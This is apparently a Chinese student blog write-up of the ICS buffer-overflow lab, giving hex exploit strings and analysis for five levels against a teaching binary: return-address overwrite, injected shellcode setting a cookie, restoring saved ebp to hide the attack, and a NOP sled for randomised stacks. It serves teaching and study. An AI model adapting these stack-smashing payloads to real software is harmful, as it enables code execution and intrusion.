缓冲区溢出(ICS实验)

**

S m o k e Smoke Smoke

**
文本:

00 00 00 00		00 00 00 00 		00 00 00 00		00 00 00 00
00 00 00 00		00 00 00 00		00 00 00 00		00 00 00 00
00 00 00 00		00 00 00 00		00 00 00 00		bb 8b 04 08

在这里插入图片描述
分析过程:
在这里插入图片描述
在getbuf函数中,在执行第一条语句之前,栈顶元素应该为正确的返回地址。
首先第一条语句向栈中push了一个ebx,使栈顶指针减少了4个字节。然后接着将当前栈顶保存在了ebp中。
接下来又讲栈顶指针跟别减小了0x28和0xc,然后将ebp中保存的指针减小0x28后赋给了eax,也就是将栈顶第一次减小0x28后的值赋给了eax。最后将eax压入栈中,使栈顶指针再减少4。在执行call之前,栈顶指针一共减少了0x4+0x28+0xc+0x4。
执行完call之后,eax中保存了读入字符串的首地址,将栈顶指针加了0x10后,栈顶指针回到了减小0x28之后的状态,所以字符串是从当前的栈顶开始存的。距离返回地址存放的的位置相差0x4+0x28,所以先输入0x2c个字节后,将smoke的其实地址以小端序的方式输入,就会挤掉原来的返回地址,成功进入smoke。
通过查看smoke函数可以查看smoke 的首地址:
在这里插入图片描述
**

F i z z Fizz Fizz

**
文本:

00 00 00 00		00 00 00 00		00 00 00 00		00 00 00 00
00 00 00 00		00 00 00 00		00 00 00 00		00 00 00 00
00 00 00 00		00 00 00 00		00 00 00 00		e8 8b 04 08		
00 00 00 00		2a 3c fa 6b

在这里插入图片描述
分析过程:
在这里插入图片描述
首先将要进入的返回地址改成fizz函数的首地址,这样就能够进入fizz函数。
在这里插入图片描述
+14和+16两条语句可以看出,必须保证edx和eax中存的数据相等,而eax是从内存中调用的值,通过输出可以发现,eax就是程序中保存的cookie。
在这里插入图片描述
所以就要靠输入的字符串使edx中的值与eax相同。
在执行第一条语句push之前,rsp指向的地方是之前的返回地址的上方。也就是蓝色箭头指向的地方。
执行完push操作后,箭头向后移动了四个字节,指向了红色剪头的位置。将现在红色的位置传到了ebp中。
接下类又将栈顶指针减8到了绿色箭头的位置。
最后将0x8(ebp)赋值给了edx,ebp中是红色箭头的位置,加八之后到了紫色箭头,所以应该将eax中的值在返回地址后面的第五个字节开始以字符串的方式用小端序读入,就可以保证比较的两个数相等了
在这里插入图片描述
**

B a n g Bang Bang

**
文本:

b8 2a 3c fa		6b a3 60 e1		04 08 68 39		8c 04 08 c3
00 00 00 00		00 00 00 00		00 00 00 00		00 00 00 00
00 00 00 00		00 00 00 00		00 00 00 00		18 3a 68 55

在这里插入图片描述
分析过程:
在这里插入图片描述
Bang函数要求eax与edx中的值相等,查看这两个寄存器可以知道,一个存的是cookie,另一个存的是global_value这个常数。并且这个初始值为1。
在这里插入图片描述
因为global_value的值存在内存中,所以需要通过汇编语句来修改他的值。因为程序在执行return函数的时候,是将rsp指向的地址中的操作取出来放到rip中执行,所以要想通过输入的字符串对程序进行修改,就要把字符串的起始地址放到原来的返回地址中,这样执行返回操作的时候,根据这个地址,rip中存的操作就会是输入的字符串所代表的操作。
在这里插入图片描述
首先在getbuf函数中找到字符串开始的地址,发现这个地址存在了eax中,所以当程序运行到+12的时候,查看eax的值,就可以得到这个要返回到的地址:
在这里插入图片描述
接下来就是修改操作了。应该先将cookie这个常数赋值给global_value。然后跳到bang函数中去。也就是将bang函数的首地址先push到栈中,再return,rip读取刚刚调入到栈中的地址,就可以继续执行bang函数了。汇编代码如下:

mov	$0x6bfa3c2a,%eax
mov	%eax,0x804e160
push	$0x08048d21
ret

将这个汇编代码编译成机器语言:在这里插入图片描述
再对生成的.o文件进行反汇编,查看生成的机器代码:在这里插入图片描述
在这里插入图片描述
将b8到c3将输入字符串的前一部分替换掉,就实现了操作。
**

B o o m Boom Boom

**
文本:

b8 2a 3c fa		6b 68 a7 8c		04 08 c3 00		00 00 00 00
00 00 00 00		00 00 00 00		00 00 00 00		00 00 00 00
00 00 00 00		00 00 00 00		60 3a 68 55		18 3a 68 55

在这里插入图片描述
分析过程:
这个一共有两个要求,第一个是要让getbuf的返回值为cookie,第二个是要求程序不会察觉收到了攻击。
第一个要求和上一个差不多,返回值保存在eax中,所以应该将cookie的值mov到eax中,然后返回到getbuf的下一条指令的地址。
在这里插入图片描述
通过查看test函数,可以看到返回地址应该是0x08048ca7。所以相应的攻击代码就应该为:

mov	$0x6bfa3c2a,%eax
push	$0x08048d21
ret

将其反汇编后得到的二进制代码放到输入的字符串的开头就完成了第一个要求:
在这里插入图片描述
要满足第二个要求,首先需要看栈中都保存了什么:
在test执行call指令之后,计算机将返回地址压入到栈中,rsp为现在的蓝色箭头处。
在这里插入图片描述
接下来getbuf函数中将ebp压入了栈中,rsp为红色箭头处。下一行将现在的rsp赋给了ebp。
接下来的操作都是对栈顶继续进行压入或者删除元素操作,一直到+26的leave操作。leave操作的含义等价于下面两条语句:

mov	%ebp,%esp
pop	%ebp

可见执行完leave之后,rsp回到了蓝色剪头的地方,同时将旧的ebp的值放回了寄存器中,所以要想不被发现,就应当把读入的字符串中的表示返回地址前面的4个字节修改成旧的ebp的值。旧的ebp的值可以在刚刚进入getbuf函数的时候查看:在这里插入图片描述
在这里插入图片描述
**

N i t r o Nitro Nitro

**
文本:

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90
90 90 90 90
90 b8 2a 3c
fa 6b 8d 6c
24 18 68 21
8d 04 08 c3

88 38 68 55

在这里插入图片描述
分析过程:
要完成的功能跟第四个差不多,唯一不同的就是一共要执行5次,每次执行的时候栈的地址都是随机的,所以返回地址和ebp中保存的地址都是不确定的。
首先处理如何正确的处理ebp的值。观察对ebp的操作可知,ebp保存了当前函数栈帧的起始地址。虽然进出函数的时候栈的地址是随机分配的,但是,在执行函数的过程中,每一步的rsp和ebp的相对大小不会改变,也就是差值是不变的。
在这里插入图片描述
可以看到,在testn函数中,修改过ebp之后,在执行getbufn函数之前,esp的值又减小了0x18,所以从getbufn中返回后,ebp中应该存放的值就是当前的esp加上0x18,也就是0x18(%esp)。
所以我们要加入到程序中的汇编代码就应该是:

mov	$0x6bfa3c2a,%eax
lea	0x18(%esp),%ebp
push	$0x08048d21
ret

因为改变的只是栈的地址,但原始代码中的指令的地址不会改变,所以第三个语句的push可以直接将getbufn的下一行指令的地址push到栈中。
通过编译成.o文件再进行反汇编之后,可以得到二进制代码:

在这里插入图片描述
再处理第二个问题,如何覆盖返回地址。因为5次运行将读入的字符串存储在了不同的地址中,所以只用第一次的存储地址操作的话,程序只会在第一次运行出正确结果。
先跑一边程序,看看5次字符串存储的首地址都在哪里:
在这里插入图片描述 在这里插入图片描述 在这里插入图片描述
在这里插入图片描述 在这里插入图片描述
由于只能用一个确定的返回地址,为了每次返回是都能读到输入的字符串,所以应该选择栈指针最大的一个地址作为返回地址,这样可以保证每次返回的时候都能从我们输入的代码开始读,但是这样在其他四次返回的时候不是从字符串的开头开始。所以就需要用到nop指令,当机器读到nop指令的时候,会继续执行下一条指令。Nop指令对应的二进制码为90.
所以如果我们在输入的字符串的前半部分用90填充的话,那无论从任何地方开始读字符串中的操作,都会一直向后执行,一直执行到非nop操作。我们将反汇编的二进制机器码放到字符串的最后,这样所有5次读取字符串中的操作的时候,最终就都会跳到反汇编的那段指令,就可以正确的执行我们想要的操作了。
在这里插入图片描述
getbufn中,可以看到首先要读入0x208字节的字符串,还要覆盖ebp和返回地址,最后总的字符串长度就应该是:0x208+0x4+0x4=0x210.总共528个字节。

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值